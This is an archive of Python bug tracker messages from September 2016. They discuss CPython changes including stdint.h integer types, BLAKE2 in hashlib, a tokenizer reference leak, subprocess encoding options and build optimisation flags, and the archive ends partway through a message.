Date: Tue, 06 Sep 2016 19:30:14 +0000
Subject: [issue17884] Try to reuse stdint.h types like int32_t
In-Reply-To: <1367362366.81.0.489465512002.issue17884@psf.upfronthosting.co.za>
Message-ID: <1473190214.21.0.0169475989777.issue17884@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Good point. I'd be happy to see the non-"#ifdef ULLong" branches simply disappear in dtoa.c. We're long past the point of trying to keep dtoa.c in sync with the upstream version.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17884>
_______________________________________

From report at bugs.python.org  Tue Sep  6 15:31:16 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Tue, 06 Sep 2016 19:31:16 +0000
Subject: [issue27078] Make f'' strings faster than .format: BUILD_STRING
 opcode?
In-Reply-To: <1463858316.54.0.292581402272.issue27078@psf.upfronthosting.co.za>
Message-ID: <1473190276.43.0.881372462142.issue27078@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

Now that I've looked at PyUnicode_New, I agree with using PyUnicode_New(0, 0). I can't imagine we could measure the difference with optimizing it in the opcode itself before calling PyUnicode_New.

Thanks for adding this, Serhiy. I think it's great stuff, and works well with FORMAT_VALUE.

----------
assignee: eric.smith -> serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27078>
_______________________________________

From report at bugs.python.org  Tue Sep  6 15:33:31 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 06 Sep 2016 19:33:31 +0000
Subject: [issue25596] Use scandir() to speed up the glob module
In-Reply-To: <1447154287.89.0.207791672282.issue25596@psf.upfronthosting.co.za>
Message-ID: <1473190411.45.0.329038770419.issue25596@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I think the change in general is approved by GvR. If there are some implementation bugs, we can fix them later.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25596>
_______________________________________

From report at bugs.python.org  Tue Sep  6 15:35:28 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 19:35:28 +0000
Subject: [issue25596] Use scandir() to speed up the glob module
In-Reply-To: <1447154287.89.0.207791672282.issue25596@psf.upfronthosting.co.za>
Message-ID: <20160906193525.68987.93624.D64F7228@psf.io>


Roundup Robot added the comment:

New changeset cb7ee9d9cddd by Serhiy Storchaka in branch 'default':
Issue #25596: Optimized glob() and iglob() functions in the
https://hg.python.org/cpython/rev/cb7ee9d9cddd

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25596>
_______________________________________

From report at bugs.python.org  Tue Sep  6 15:45:01 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 19:45:01 +0000
Subject: [issue17884] Try to reuse stdint.h types like int32_t
In-Reply-To: <1367362366.81.0.489465512002.issue17884@psf.upfronthosting.co.za>
Message-ID: <20160906194457.6405.79064.8C739982@psf.io>


Roundup Robot added the comment:

New changeset 8b74e5528f35 by Benjamin Peterson in branch 'default':
dtoa.c: remove code for platforms with 64-bit integers (#17884)
https://hg.python.org/cpython/rev/8b74e5528f35

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17884>
_______________________________________

From report at bugs.python.org  Tue Sep  6 15:51:12 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 06 Sep 2016 19:51:12 +0000
Subject: [issue24821] The optimization of string search can cause pessimization
In-Reply-To: <1438927886.02.0.407236930114.issue24821@psf.upfronthosting.co.za>
Message-ID: <1473191472.56.0.471690283333.issue24821@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Could you please make a review Victor?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24821>
_______________________________________

From report at bugs.python.org  Tue Sep  6 16:03:36 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 20:03:36 +0000
Subject: [issue26798] add BLAKE2 to hashlib
In-Reply-To: <1461004812.44.0.872226457841.issue26798@psf.upfronthosting.co.za>
Message-ID: <20160906200332.22429.45388.76938BD1@psf.io>


Roundup Robot added the comment:

New changeset 4969f6d343b1 by Christian Heimes in branch 'default':
Issue #26798: Add BLAKE2 (blake2b and blake2s) to hashlib.
https://hg.python.org/cpython/rev/4969f6d343b1

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26798>
_______________________________________

From report at bugs.python.org  Tue Sep  6 16:03:48 2016
From: report at bugs.python.org (Michael Lee)
Date: Tue, 06 Sep 2016 20:03:48 +0000
Subject: [issue27905] Add documentation for typing.Type
In-Reply-To: <1472593880.19.0.114422348142.issue27905@psf.upfronthosting.co.za>
Message-ID: <1473192228.95.0.518604017156.issue27905@psf.upfronthosting.co.za>


Michael Lee added the comment:

Ok, here's version 2, taking into account Ivan's feedback!

----------
Added file: http://bugs.python.org/file44401/document-type-v2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27905>
_______________________________________

From report at bugs.python.org  Tue Sep  6 16:04:44 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 06 Sep 2016 20:04:44 +0000
Subject: [issue17884] Try to reuse stdint.h types like int32_t
In-Reply-To: <1367362366.81.0.489465512002.issue17884@psf.upfronthosting.co.za>
Message-ID: <1473192284.51.0.806545008706.issue17884@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Include/pyport.h now includes both <inttypes.h> and <stdint.h>. But the <inttypes.h> header shall include the <stdint.h> header. [1]

[1] http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/inttypes.h.html

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17884>
_______________________________________

From report at bugs.python.org  Tue Sep  6 16:08:47 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 20:08:47 +0000
Subject: [issue17884] Try to reuse stdint.h types like int32_t
In-Reply-To: <1367362366.81.0.489465512002.issue17884@psf.upfronthosting.co.za>
Message-ID: <20160906200844.9902.87995.6130DD76@psf.io>


Roundup Robot added the comment:

New changeset c092eb31db05 by Benjamin Peterson in branch 'default':
only include inttypes.h (#17884)
https://hg.python.org/cpython/rev/c092eb31db05

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17884>
_______________________________________

From report at bugs.python.org  Tue Sep  6 16:24:32 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 20:24:32 +0000
Subject: [issue17884] Try to reuse stdint.h types like int32_t
In-Reply-To: <1367362366.81.0.489465512002.issue17884@psf.upfronthosting.co.za>
Message-ID: <20160906202429.38051.10561.F49CFBBE@psf.io>


Roundup Robot added the comment:

New changeset be8645213517 by Benjamin Peterson in branch 'default':
replace Python aliases for standard integer types with the standard integer types (#17884)
https://hg.python.org/cpython/rev/be8645213517

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17884>
_______________________________________

From report at bugs.python.org  Tue Sep  6 16:30:38 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 20:30:38 +0000
Subject: [issue27971] utf-16 decoding can't handle lone surrogates
In-Reply-To: <1473186853.38.0.910017694825.issue27971@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwZ82XnskkPfNsAYGxOnHdOhgLw_scXFXiNU9CPGj1hsHQ@mail.gmail.com>


STINNER Victor added the comment:

I dislike the idea of changing the behaviour in a minor release :-/

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27971>
_______________________________________

From report at bugs.python.org  Tue Sep  6 16:41:05 2016
From: report at bugs.python.org (Mark Summerfield)
Date: Tue, 06 Sep 2016 20:41:05 +0000
Subject: [issue27980] Add better pythonw support to py launcher
In-Reply-To: <1473188440.88.0.613793124058.issue27980@psf.upfronthosting.co.za>
Message-ID: <1473194465.96.0.0792659851606.issue27980@psf.upfronthosting.co.za>


Mark Summerfield added the comment:

Sorry, I didn't even know that pyw.exe existed. Naturally pyw -h produces no output, but maybe py -h could mention it?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27980>
_______________________________________

From report at bugs.python.org  Tue Sep  6 16:44:33 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 20:44:33 +0000
Subject: [issue27981] Reference leak in fp_setreadl() of Parser/tokenizer.c
Message-ID: <1473194673.07.0.759200098492.issue27981@psf.upfronthosting.co.za>


New submission from STINNER Victor:

Does the following function call leaks a reference?

        if (PyObject_CallObject(readline, NULL) == NULL) {
            readline = NULL;
            goto cleanup;
        }

----------
messages: 274622
nosy: haypo
priority: normal
severity: normal
status: open
title: Reference leak in fp_setreadl() of Parser/tokenizer.c
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27981>
_______________________________________

From report at bugs.python.org  Tue Sep  6 16:49:06 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 06 Sep 2016 20:49:06 +0000
Subject: [issue27981] Reference leak in fp_setreadl() of Parser/tokenizer.c
In-Reply-To: <1473194673.07.0.759200098492.issue27981@psf.upfronthosting.co.za>
Message-ID: <1473194946.49.0.684448892392.issue27981@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

No, readline is borrowed reference.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27981>
_______________________________________

From report at bugs.python.org  Tue Sep  6 16:50:50 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Tue, 06 Sep 2016 20:50:50 +0000
Subject: [issue17884] Try to reuse stdint.h types like int32_t
In-Reply-To: <1367362366.81.0.489465512002.issue17884@psf.upfronthosting.co.za>
Message-ID: <1473195050.47.0.0927436885054.issue17884@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

Thank you all for your advice. The buildbots seem to have survived the removal of conditional includes of <inttypes.h>. I've also replaced most of the Python compatibility aliases with the standard ones. Closing this issue.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17884>
_______________________________________

From report at bugs.python.org  Tue Sep  6 16:53:48 2016
From: report at bugs.python.org (Davin Potts)
Date: Tue, 06 Sep 2016 20:53:48 +0000
Subject: [issue6766] Cannot modify dictionaries inside dictionaries using
 Managers from multiprocessing
In-Reply-To: <1251049590.58.0.809281249474.issue6766@psf.upfronthosting.co.za>
Message-ID: <1473195228.91.0.934770789891.issue6766@psf.upfronthosting.co.za>


Davin Potts added the comment:

Attaching patch for default (3.6) branch which implements what was previously described and discussed, updates the documentation to explain this updated behavior, and includes new tests.

@yselivanov: Can you think of any edge cases that should be handled but we're missing?

----------
nosy: +yselivanov
stage: needs patch -> patch review
Added file: http://bugs.python.org/file44402/issue_6766_py36.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6766>
_______________________________________

From report at bugs.python.org  Tue Sep  6 16:55:32 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 20:55:32 +0000
Subject: [issue25761] Improve unpickling errors handling
In-Reply-To: <1448794765.73.0.847000762162.issue25761@psf.upfronthosting.co.za>
Message-ID: <20160906205530.22138.18840.44D1545A@psf.io>


Roundup Robot added the comment:

New changeset 231f578dfd3d by Serhiy Storchaka in branch 'default':
Issue #25761: Improved error reporting about truncated pickle data in
https://hg.python.org/cpython/rev/231f578dfd3d

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25761>
_______________________________________

From report at bugs.python.org  Tue Sep  6 16:56:28 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 06 Sep 2016 20:56:28 +0000
Subject: [issue27976] Deprecate building with bundled copy of libffi on
 non-Darwin POSIX platforms
In-Reply-To: <1473184582.63.0.0787669758902.issue27976@psf.upfronthosting.co.za>
Message-ID: <1473195388.91.0.0143757253568.issue27976@psf.upfronthosting.co.za>


Berker Peksag added the comment:

+1, thanks for working on this!

Two questions:

1. Should we check the system version of libffi and warn users (and probably use the bundled version for now) if it was older than 3.1?

2. I know this isn't directly a user-facing feature, but should we add a short note to Doc/whatsnew/3.6.rst? (we can probably mention that most of the Linux distributions already use --with-system-ffi.)

----------
stage: patch review -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27976>
_______________________________________

From report at bugs.python.org  Tue Sep  6 17:06:26 2016
From: report at bugs.python.org (Zachary Ware)
Date: Tue, 06 Sep 2016 21:06:26 +0000
Subject: [issue27976] Deprecate building with bundled copy of libffi on
 non-Darwin POSIX platforms
In-Reply-To: <1473184582.63.0.0787669758902.issue27976@psf.upfronthosting.co.za>
Message-ID: <1473195986.74.0.993589955199.issue27976@psf.upfronthosting.co.za>


Zachary Ware added the comment:

I don't think it's worthwhile to do a version check and warning, especially since we'll be removing the bundled version in 3.7.  A docs note is worthwhile, though, I'll attach a new patch shortly.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27976>
_______________________________________

From report at bugs.python.org  Tue Sep  6 17:07:13 2016
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 06 Sep 2016 21:07:13 +0000
Subject: [issue27980] Add better pythonw support to py launcher
In-Reply-To: <1473188440.88.0.613793124058.issue27980@psf.upfronthosting.co.za>
Message-ID: <1473196033.6.0.577249747989.issue27980@psf.upfronthosting.co.za>


Eryk Sun added the comment:

> Naturally pyw -h produces no output

It needs help: `pyw -h 2>&1 | more`. This sets the StandardOutput and StandardError as the write end of a pipe. more.com reads from the pipe and pages the help text to the console. 

Maybe this needs a new issue to have `pyw -h` pop up a message box with the help text.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27980>
_______________________________________

From report at bugs.python.org  Tue Sep  6 17:07:55 2016
From: report at bugs.python.org (Stanislaw Pitucha)
Date: Tue, 06 Sep 2016 21:07:55 +0000
Subject: [issue9400] multiprocessing.pool.AsyncResult.get() messes up
 exceptions
In-Reply-To: <1280333027.17.0.112361474517.issue9400@psf.upfronthosting.co.za>
Message-ID: <1473196075.84.0.652747077822.issue9400@psf.upfronthosting.co.za>


Stanislaw Pitucha added the comment:

Confirming this on python 2.7.12 on DragonflyBSD

----------
nosy: +viraptor

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9400>
_______________________________________

From report at bugs.python.org  Tue Sep  6 17:13:51 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 06 Sep 2016 21:13:51 +0000
Subject: [issue27731] Opt-out of MAX_PATH on Windows 10
In-Reply-To: <1470870588.24.0.387323259693.issue27731@psf.upfronthosting.co.za>
Message-ID: <1473196431.95.0.966306925331.issue27731@psf.upfronthosting.co.za>


Steve Dower added the comment:

Just confirmed that the manifest not being required is a bug, so I'll add it, document it and complete this.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27731>
_______________________________________

From report at bugs.python.org  Tue Sep  6 17:18:14 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 21:18:14 +0000
Subject: [issue26798] add BLAKE2 to hashlib
In-Reply-To: <1461004812.44.0.872226457841.issue26798@psf.upfronthosting.co.za>
Message-ID: <20160906211811.37920.50086.7B9612E0@psf.io>


Roundup Robot added the comment:

New changeset be6f3449ac13 by Christian Heimes in branch 'default':
Issue #26798: for loop initial declarations are only allowed in C99 or C11 mode
https://hg.python.org/cpython/rev/be6f3449ac13

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26798>
_______________________________________

From report at bugs.python.org  Tue Sep  6 17:19:49 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 06 Sep 2016 21:19:49 +0000
Subject: [issue27575] dict viewkeys intersection slow for large dicts
In-Reply-To: <1468950707.74.0.640405379684.issue27575@psf.upfronthosting.co.za>
Message-ID: <1473196789.94.0.360171223214.issue27575@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee:  -> rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27575>
_______________________________________

From report at bugs.python.org  Tue Sep  6 17:21:13 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 21:21:13 +0000
Subject: [issue27981] Reference leak in fp_setreadl() of Parser/tokenizer.c
In-Reply-To: <1473194946.49.0.684448892392.issue27981@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwZBLqZqU4mLE0gB68tfaf8sbiEH6vShcCkJAw8c3BGkhg@mail.gmail.com>


STINNER Victor added the comment:

Serhiy Storchaka added the comment:
> No, readline is borrowed reference.

My question is one the function call result. What if it is not NULL: I
don't see any DECREF.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27981>
_______________________________________

From report at bugs.python.org  Tue Sep  6 17:28:25 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 21:28:25 +0000
Subject: [issue27691] X509 cert with GEN_RID subject alt name causes SytemError
In-Reply-To: <1470389195.49.0.571813101842.issue27691@psf.upfronthosting.co.za>
Message-ID: <20160906212823.14766.94898.B92958FD@psf.io>


Roundup Robot added the comment:

New changeset 9bbf0b31da48 by Christian Heimes in branch '3.5':
Issue #27691: Fix ssl module's parsing of GEN_RID subject alternative name fields in X.509 certs.
https://hg.python.org/cpython/rev/9bbf0b31da48

New changeset 2b9af57af3e4 by Christian Heimes in branch 'default':
Issue #27691: Fix ssl module's parsing of GEN_RID subject alternative name fields in X.509 certs.
https://hg.python.org/cpython/rev/2b9af57af3e4

New changeset 74805fd9e734 by Christian Heimes in branch '2.7':
Issue #27691: Fix ssl module's parsing of GEN_RID subject alternative name fields in X.509 certs.
https://hg.python.org/cpython/rev/74805fd9e734

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27691>
_______________________________________

From report at bugs.python.org  Tue Sep  6 17:29:37 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 06 Sep 2016 21:29:37 +0000
Subject: [issue27691] X509 cert with GEN_RID subject alt name causes SytemError
In-Reply-To: <1470389195.49.0.571813101842.issue27691@psf.upfronthosting.co.za>
Message-ID: <1473197377.5.0.0820870677597.issue27691@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
stage: test needed -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27691>
_______________________________________

From report at bugs.python.org  Tue Sep  6 17:29:50 2016
From: report at bugs.python.org (Zachary Ware)
Date: Tue, 06 Sep 2016 21:29:50 +0000
Subject: [issue27982] Allow keyword arguments in winsound
Message-ID: <1473197390.27.0.31169931645.issue27982@psf.upfronthosting.co.za>


Changes by Zachary Ware <zachary.ware at gmail.com>:


----------
nosy: zach.ware
priority: normal
severity: normal
status: open
title: Allow keyword arguments in winsound
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27982>
_______________________________________

From report at bugs.python.org  Tue Sep  6 17:30:07 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 06 Sep 2016 21:30:07 +0000
Subject: [issue27981] Reference leak in fp_setreadl() of Parser/tokenizer.c
In-Reply-To: <1473194673.07.0.759200098492.issue27981@psf.upfronthosting.co.za>
Message-ID: <1473197407.93.0.453148201205.issue27981@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Ah, you are right, there is a leak.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27981>
_______________________________________

From report at bugs.python.org  Tue Sep  6 17:34:03 2016
From: report at bugs.python.org (Davin Potts)
Date: Tue, 06 Sep 2016 21:34:03 +0000
Subject: [issue9400] multiprocessing.pool.AsyncResult.get() messes up
 exceptions
In-Reply-To: <1280333027.17.0.112361474517.issue9400@psf.upfronthosting.co.za>
Message-ID: <1473197643.35.0.316433635164.issue9400@psf.upfronthosting.co.za>


Davin Potts added the comment:

For clarity:
* Confirmed, can repro on 2.7.12 on OSX.
* Also confirmed that this can not be reproduced on the 3.5 or 3.6 branches.

----------
versions:  -Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9400>
_______________________________________

From report at bugs.python.org  Tue Sep  6 17:35:54 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 21:35:54 +0000
Subject: [issue27982] Allow keyword arguments in winsound
Message-ID: <20160906213551.22615.82077.A9C0F51C@psf.io>


New submission from Roundup Robot:

New changeset bd4771d3e88d by Zachary Ware in branch 'default':
Closes #27982: Allow keyword arguments to winsound functions
https://hg.python.org/cpython/rev/bd4771d3e88d

----------
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27982>
_______________________________________

From report at bugs.python.org  Tue Sep  6 17:54:35 2016
From: report at bugs.python.org (Davin Potts)
Date: Tue, 06 Sep 2016 21:54:35 +0000
Subject: [issue9400] multiprocessing.pool.AsyncResult.get() messes up
 exceptions
In-Reply-To: <1280333027.17.0.112361474517.issue9400@psf.upfronthosting.co.za>
Message-ID: <1473198875.35.0.530942187904.issue9400@psf.upfronthosting.co.za>


Davin Potts added the comment:

Reading through issue1692335 provides a sense of the concerns surrounding the patches they applied to the 3.x branches.  Attempting to backport those patches to the 2.7 branch involves non-trivial risk, magnified by the now numerous differences between those branches.

If we had a reasonable workaround to use in 2.7, that would simplify things.

Example workaround that produces behavior in 2.7.12 very like what's observed when using 3.5 or 3.6:
        try:
            subprocess.check_call(['dcon'], stdout=fh, stderr=fh)
        except subprocess.CalledProcessError as cpe:
            raise Exception(str(cpe))

----------
assignee: sbt -> davin

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9400>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:10:02 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 22:10:02 +0000
Subject: [issue21122] CPython fails to build modules with LLVM LTO on Mac OS X
In-Reply-To: <1396354260.96.0.514432416417.issue21122@psf.upfronthosting.co.za>
Message-ID: <20160906220958.14667.30162.B8374159@psf.io>


Roundup Robot added the comment:

New changeset cc5f8179a7ba by Ned Deily in branch 'default':
Issue #21122: Fix LTO builds on OS X.
https://hg.python.org/cpython/rev/cc5f8179a7ba

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21122>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:10:22 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 22:10:22 +0000
Subject: [issue26798] add BLAKE2 to hashlib
In-Reply-To: <1461004812.44.0.872226457841.issue26798@psf.upfronthosting.co.za>
Message-ID: <20160906221020.13989.84767.7EBBF0AD@psf.io>


Roundup Robot added the comment:

New changeset 5c31599de76a by Christian Heimes in branch 'default':
Issue #26798: for loop initial declarations, take 2
https://hg.python.org/cpython/rev/5c31599de76a

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26798>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:16:14 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 22:16:14 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473200174.11.0.836150519389.issue27213@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I uploaded callfunc-6.patch which is supposed to be a rebased version of callfunc5.patch. I made tiny coding style changes.

Python/ceval.c changed a lot since 1 month 1/2, so I'm not 100% sure that the rebase is correct.

Known issues:

* test_traceback and test_extcall fail
* _PyEval_EvalCodeWithName2() should be merged into _PyEval_EvalCodeWithName() to factorize the code

I didn't review the change yet.

----------
Added file: http://bugs.python.org/file44403/callfunc-6.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:19:38 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 06 Sep 2016 22:19:38 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473200378.8.0.165351135432.issue6135@psf.upfronthosting.co.za>


Steve Dower added the comment:

Addressed more feedback.

----------
Added file: http://bugs.python.org/file44404/6135_4.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:32:15 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 22:32:15 +0000
Subject: [issue26798] add BLAKE2 to hashlib
In-Reply-To: <1461004812.44.0.872226457841.issue26798@psf.upfronthosting.co.za>
Message-ID: <20160906223212.31268.70552.6E909F0F@psf.io>


Roundup Robot added the comment:

New changeset a1e032dbcf86 by Christian Heimes in branch 'default':
Issue #26798: for loop initial declarations, take 3
https://hg.python.org/cpython/rev/a1e032dbcf86

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26798>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:34:21 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 22:34:21 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473201261.4.0.308067196074.issue6135@psf.upfronthosting.co.za>


STINNER Victor added the comment:

6135_4.patch: Hum, what if you only set errors? I suggest to use TextIOWrapper but use the locale encoding:

if (universal_newlines or errors) and not encoding:
  encoding = getpreferredencoding(False)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:36:07 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 22:36:07 +0000
Subject: [issue27959] Add 'oem' encoding
In-Reply-To: <1473118900.37.0.989458487579.issue27959@psf.upfronthosting.co.za>
Message-ID: <1473201367.65.0.551629346429.issue27959@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Rebased patch to get a review button.

----------
Added file: http://bugs.python.org/file44405/27959_3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27959>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:39:29 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 06 Sep 2016 22:39:29 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473201569.28.0.191237204176.issue6135@psf.upfronthosting.co.za>


Steve Dower added the comment:

Sure, that's easy enough. Any other concerns once I've made that change?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:40:33 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Tue, 06 Sep 2016 22:40:33 +0000
Subject: [issue26359] CPython build options for out-of-the box performance
In-Reply-To: <1455445693.01.0.984013993837.issue26359@psf.upfronthosting.co.za>
Message-ID: <1473201633.12.0.767069962363.issue26359@psf.upfronthosting.co.za>


Gregory P. Smith added the comment:

Minor edit to avoid printing the message about --with-optimizations when doing a --with-pydebug build.  otherwise this patch works well on Ubuntu xenial 16.04 amd64.

>From discussions in the CPython Core Sprint room today - we've agreed that we should just modify the configure.ac check to not enable --with-lto as part of this when on MacOS until an xcode toolchain for that to work properly on can be figured out.

----------
Added file: http://bugs.python.org/file44406/cpython3_with_optimizations_v02-gps01.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26359>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:41:59 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Tue, 06 Sep 2016 22:41:59 +0000
Subject: [issue26307] no PGO for built-in modules with `make profile-opt`
In-Reply-To: <1454938106.72.0.648611247693.issue26307@psf.upfronthosting.co.za>
Message-ID: <1473201719.8.0.798530718471.issue26307@psf.upfronthosting.co.za>


Changes by Gregory P. Smith <greg at krypto.org>:


----------
assignee:  -> gregory.p.smith
nosy: +gregory.p.smith

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26307>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:46:58 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 22:46:58 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1473201569.28.0.191237204176.issue6135@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwaFpCHP-P5P+p6f=OmOkotdU+4ioTMxfOjcMwfrR_zqww@mail.gmail.com>


STINNER Victor added the comment:

Steve Dower added the comment:
> Sure, that's easy enough. Any other concerns once I've made that change?

If errors enables Unicode and the doc is updated, the patch will LTGM :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 18:50:07 2016
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 06 Sep 2016 22:50:07 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473202207.13.0.282597082424.issue6135@psf.upfronthosting.co.za>


Eryk Sun added the comment:

Why do you need to call getpreferredencoding()? Isn't that already the default if you call TextIOWrapper with encoding as None? For example:

